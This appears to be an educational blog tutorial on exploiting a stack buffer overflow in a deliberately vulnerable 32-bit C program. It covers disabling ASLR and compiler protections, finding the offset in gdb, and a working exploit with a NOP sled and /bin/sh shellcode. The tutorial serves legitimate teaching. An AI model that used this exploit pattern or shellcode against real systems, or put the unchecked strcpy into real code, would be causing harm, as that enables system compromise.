Buffer Overflow Basics: An Easy-to-Follow Guide

A bit of background on buffer overflows: Buffer overflows occur when a program writes more data to a buffer than it can hold. This can overwrite nearby memory, potentially allowing attackers to execute arbitrary code or cause other security issues.
Recently, during one of my lectures, I was tasked with demonstrating a buffer overflow vulnerability. I’d like to share my approach to simulating this exploit.
C Program used for the Simulation
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buffer[256];
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
- This binary is vulnerable due to the use of
strcpy
, which does not check if the destination buffer is large enough. Consequently, an attacker could overwrite adjacent memory. P.S, For safer code, consider usingstrncpy
or other bounds-checked functions.
Compilation
gcc -fno-stack-protector -z execstack -no-pie -m32 -mpreferred-stack-boundary=2 program.c -o program
mpreferred-stack-boundary
: This is particularly relevant for older or specific ABI requirements, as many modern systems use a higher boundary. Basically in my case, I had to use this to ensure that the stack is aligned to 4 bytes as I’m compiling to a 32 bit binary.fno-stack-protector
: Disables stack protection also known as canaries allowing buffer overflow to occur.execstack
: Marks the stack as executable, which enables code placed on the stack to run.no-pie
: Disables Position Independent Executable (PIE), ensuring the binary loads at a fixed address—useful for predictable shell-code placement.m32
: Compiles the code as a 32-bit binary.
Also make sure to disable ASLR using the below command,
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
This makes sure that the addresses are not randomized and are predictable.
Reconnaissance
PIE
: The binary is not built as a Position Independent Executable, which means its memory layout remains fixed on each run.Stack
: No stack canary is present, making it easier to exploit the buffer overflow. Additionally, the stack is executable, allowing shell-code execution.
Performing the attack
Basic Exploration
First, I'll disassemble the
main
function and fill the buffer to find out where the buffer's address is stored in the stack.Now from the above we will first try to put a break point at something after the puts@plt which is at
0x8049050
so that we can see how the buffer fills upon filling with input.Filling the Buffer
Command:
r $(python -c "print('A'*256)")
In the above image upon running this we can fill the buffer which can accommodate
256
bytes of characters using python2. This helps in crafting the exploit by knowing where the buffer resides in memory.Running the below command gives us a better clarity,
Command:
x/256x $esp
From this image we can see that the buffer starts filling from
0xffffcfa4
with ‘A’ (0x41)Offset Calculation
Now let’s find till where we must give input so that we can overwrite the EIP (current instruction register) . From the below we see that we overwrote the EIP with
‘qaac’
.Command:
cyclic 300
Now finding the offset using the below command,
Command:
cyclic -l qaac
Thus we found that the offset needed is
264
after which the next 4 bytes given will overwrite the EIP with that value.Command:
r $(python -c "print('A'*264 + 'BBBB')")
We can confirm this with the below image where after
264
, I have given‘BBBB’
as input which has been overwritten onto the EIP.Writing the Exploit
Now we have the following details,
Buffer starting address:
0xffffcfa4
Offset:
264
Next, we need malicious code. I’ll be using a shell-code that spawns a shell from the binary, which can be exploited by an attacker to compromise the system.
Shellcode used:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
The above is a 23 byte shell code
So now to write the exploit we need to follow the below structure,
First we need a NOP (NO operation) slide which provides a safe landing zone for the return address. Basically making sure that execution slides down NOPs to reach the shellcode . For this lets take a value of
100
NOPs (experimentally found).Next we put the 23 byte shell code.
Next since the offset was 264 we fill the remaining (264 – 23 – 100 =
141
) with padding, so here Ive padded with ‘A’Next we write the address which we want to overwrite on the EIP (Extended Instruction Pointer)
In this the actual return stack address is
0xffffcfa4
, however we want to point it to an address which is somewhere within the NOP sled so it can slide to the shellcode. Hence from the below image ill take the address0xffffd0c0
which is filled with /x90 which are NOPs so that it can slide execution into the shellcode. This was found using the following,
Command: r $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*100 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" + b"A"*141)')
The stack address is located higher in memory, as shown below:
Thus, we can craft the exploit as follows:
./program $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*100 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" + b"A"*141 + b"\xc0\xd0\xff\xff")')
The address
0xffffd0c0
has been written in little endian hence\xc0\xd0\xff\xff
.NOP in hex is
\x90
.
Below is an image which shows the attack being successful and spawing a shell which can be used by the attacker for manipulating the system.
And there you have it , the successful exploitation of the buffer overflow vulnerability, demonstrated by spawning a shell.
Subscribe to my newsletter
Read articles from Sunil Thunga directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
